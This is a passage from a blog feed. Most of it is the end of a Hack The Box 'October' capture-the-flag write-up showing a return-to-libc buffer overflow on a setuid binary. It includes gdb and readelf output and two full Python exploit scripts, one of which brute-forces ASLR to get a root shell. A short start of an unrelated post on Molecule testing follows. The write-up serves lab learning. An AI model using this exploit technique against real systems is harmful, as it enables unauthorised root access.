    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e13000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On my &lt;strong&gt;Kali&lt;/strong&gt; host, I generate a pattern to find the buffer offset. This will tell me how many bytes of data I need to pad my exploit with to fill the executable's buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/october&lt;span class="nv"&gt;$ &lt;/span&gt;msf-pattern_create &lt;span class="nt"&gt;-l&lt;/span&gt; 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;strong&gt;test&lt;/strong&gt; VM, I use this pattern as input to the program while running in &lt;code&gt;gdb&lt;/code&gt; to find the snippet of the pattern in memory when the application crashes. Yes, I will have to keep jumping between hosts throughout these commands. Double check what host I have bolded!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 &lt;span class="k"&gt;in&lt;/span&gt; ?? &lt;span class="o"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks like &lt;code&gt;0x64413764&lt;/code&gt; was the data that caused the program to crash.&lt;/p&gt;

&lt;p&gt;Back on the &lt;strong&gt;Kali&lt;/strong&gt; host, I run this hex code through &lt;code&gt;pattern_offset&lt;/code&gt; to find the exact number of offset bytes: &lt;code&gt;112&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/october&lt;span class="nv"&gt;$ &lt;/span&gt;msf-pattern_offset &lt;span class="nt"&gt;-q&lt;/span&gt; 0x64413764
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Exact match at offset 112
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the &lt;strong&gt;test&lt;/strong&gt; VM, with ASLR disabled, I can construct a buffer overflow exploit with the following setup. I need the memory addresses of the system calls &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt;, and the memory address of &lt;code&gt;/bin/sh&lt;/code&gt;. This will let me construct a &lt;code&gt;return-to-libc&lt;/code&gt; attack. I explain this in more detail in my &lt;a href="https://blog.artis3nal.com/2020-06-28-htb-frolic-msf/"&gt;HTB Frolic&lt;/a&gt; writeup.&lt;/p&gt;

&lt;p&gt;I get the memory address of &lt;code&gt;system&lt;/code&gt; - &lt;code&gt;0xb7e53310&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb-peda&lt;span class="nv"&gt;$ &lt;/span&gt;p system
&lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&amp;lt;text variable, no debug info&amp;gt;&lt;span class="o"&gt;}&lt;/span&gt; 0xb7e53310 &amp;lt;__libc_system&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I did not copy the &lt;code&gt;p exit&lt;/code&gt; command and result, but you would repeat the above for &lt;code&gt;exit&lt;/code&gt; instead of &lt;code&gt;system&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I get the memory address of &lt;code&gt;/bin/sh&lt;/code&gt; - &lt;code&gt;0xb7f75d4c&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb-peda&lt;span class="nv"&gt;$ &lt;/span&gt;searchmem /bin/sh
Searching &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;'/bin/sh'&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With these, I can create the following (ASLR disabled) exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"A"&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;

&lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;''&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb7e53310&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb7e46260&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;binsh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xb7f75d4c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;binsh&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I pass this program's execution as input to the &lt;code&gt;ovrflw&lt;/code&gt; binary on the test VM, I get a root shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./ovrflw &lt;span class="si"&gt;$(&lt;/span&gt;python exploit.py&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, this is only with ASLR disabled. With a working base exploit, I can now re-enable ASLR to continue developing my exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;artis3n: 
root@ubuntu:/home/artis3n/Desktop# &lt;span class="nb"&gt;echo &lt;/span&gt;2 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/randomize_va_space 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With ASLR re-enabled, &lt;code&gt;libc&lt;/code&gt;'s memory address again changes every time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@ubuntu:~/Desktop&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;0 20&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ldd ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done
    &lt;/span&gt;libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75b9000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75a4000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75e5000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb759d000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7613000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb751f000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb751b000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75ce000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7530000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7522000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75d6000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7561000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75b7000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7596000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7584000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7574000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7533000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb754d000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb752d000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb756d000&lt;span class="o"&gt;)&lt;/span&gt;
    libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb75e1000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HOWEVER!&lt;/p&gt;

&lt;p&gt;Inspecting this output, I notice that the memory addresses stay relatively the same. They generally all begin with &lt;code&gt;0xb75&lt;/code&gt;, some with &lt;code&gt;0xb76&lt;/code&gt;. They all end in &lt;code&gt;000&lt;/code&gt;. Really, only the two bytes in the middle are changing each time. This means there are 512 possibilities for &lt;code&gt;libc&lt;/code&gt;'s address in each invocation. In other words, I have a 1/512 chance of &lt;em&gt;guessing&lt;/em&gt; &lt;code&gt;libc&lt;/code&gt;'s memory address each time I invoke the executable. If I exploit the binary 513 times, there is an extremely high chance that I will see one of these addresses again. In fact, due to the &lt;a href="https://en.wikipedia.org/wiki/Birthday_problem"&gt;birthday paradox&lt;/a&gt;, I only need about 30 guesses to get over 50% probability that I'll correctly guess &lt;code&gt;libc&lt;/code&gt;'s memory address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jtqDgMXo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/birthday-paradox.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jtqDgMXo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/birthday-paradox.png" alt="birthday paradox calculation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;small&gt;&lt;a href="https://www.dcode.fr/birthday-problem"&gt;https://www.dcode.fr/birthday-problem&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;I can use the first memory address in the above list, &lt;code&gt;0xb75b9000&lt;/code&gt;, and brute force the payload until I get a shell. Note that this only works because we can crash this program as many times as we need without breaking the server.&lt;/p&gt;

&lt;p&gt;So, now I need to gather memory addresses from the target system instead of my test VM.&lt;/p&gt;

&lt;p&gt;I get &lt;code&gt;libc&lt;/code&gt;'s memory address on the &lt;strong&gt;target&lt;/strong&gt; - &lt;code&gt;0xb755c000&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc  
ldd /usr/local/bin/ovrflw | &lt;span class="nb"&gt;grep &lt;/span&gt;libc
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb755c000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I need the memory offsets of &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exit&lt;/code&gt;, and &lt;code&gt;/bin/sh&lt;/code&gt; from the relative location of the memory address of &lt;code&gt;libc&lt;/code&gt;. This allows these three memory addresses to be correct as long as we guess the correct &lt;code&gt;libc&lt;/code&gt; address during any execution. We get these memory offsets with &lt;code&gt;readelf&lt;/code&gt; on the &lt;code&gt;/lib/i386-linux-gnu/libc.so.6&lt;/code&gt; library, as that is in the result of the previous &lt;code&gt;libc&lt;/code&gt; memory address command.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;system@@GLIBC_2.0&lt;/code&gt; address is &lt;code&gt;0x00040310&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; system
stemelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; sy 
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;exit@@GLIBC_2.0&lt;/code&gt; address is &lt;code&gt;0x00033260&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nb"&gt;exit
&lt;/span&gt;itadelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; ex 
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 &lt;span class="nb"&gt;exit&lt;/span&gt;@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  1836: 000b84f4    24 FUNC    WEAK   DEFAULT   12 _Exit@@GLIBC_2.1.1
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;/bin/sh&lt;/code&gt; is not a system call like &lt;code&gt;system&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt;, I cannot use &lt;code&gt;readelf&lt;/code&gt; to get its memory offset. Instead, I can just use &lt;code&gt;strings&lt;/code&gt; against the &lt;code&gt;libc&lt;/code&gt; library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@october:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;strings &lt;span class="nt"&gt;-atx&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; /bin/sh
n/shngs &lt;span class="nt"&gt;-atx&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; /bi 
 162bac /bin/sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/bin/sh&lt;/code&gt; memory address is &lt;code&gt;0x00162bac&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now I create my final payload. This script will run my exploit a maximum of 512 times.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"A"&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;

&lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xb755c000&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x00040310&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x00033260&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;binsh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x00162bac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;binsh&lt;/span&gt;


&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Try %s"&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s"&gt;"/usr/local/bin/ovrflw"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I upload this payload to the target machine and execute it.&lt;br&gt;
Within a few seconds I have a root shell!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_BxGljO8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/buffer-overflow-brute.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_BxGljO8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/october/buffer-overflow-brute.png" alt="overflow root shell"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am off to grab the root flag.&lt;/p&gt;

</description>
      <category>pentest</category>
      <category>hacking</category>
      <category>security</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>Test a Million Supported Systems with Molecule + GitHub Actions Matrix</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Thu, 13 Aug 2020 23:46:12 +0000</pubDate>
      <link>https://forem.com/artis3n/test-a-million-supported-systems-with-molecule-github-actions-matrix-3k7n</link>
      <guid>https://forem.com/artis3n/test-a-million-supported-systems-with-molecule-github-actions-matrix-3k7n</guid>
      <description>&lt;p&gt;From a comment on the announcement article:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For this contest, you'll only be able to submit projects that you started after this announcement post was published.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well, I guess I am disqualified. But, leaving this post up as a resource for anyone that may like it.&lt;/p&gt;

&lt;h3&gt;
  
  
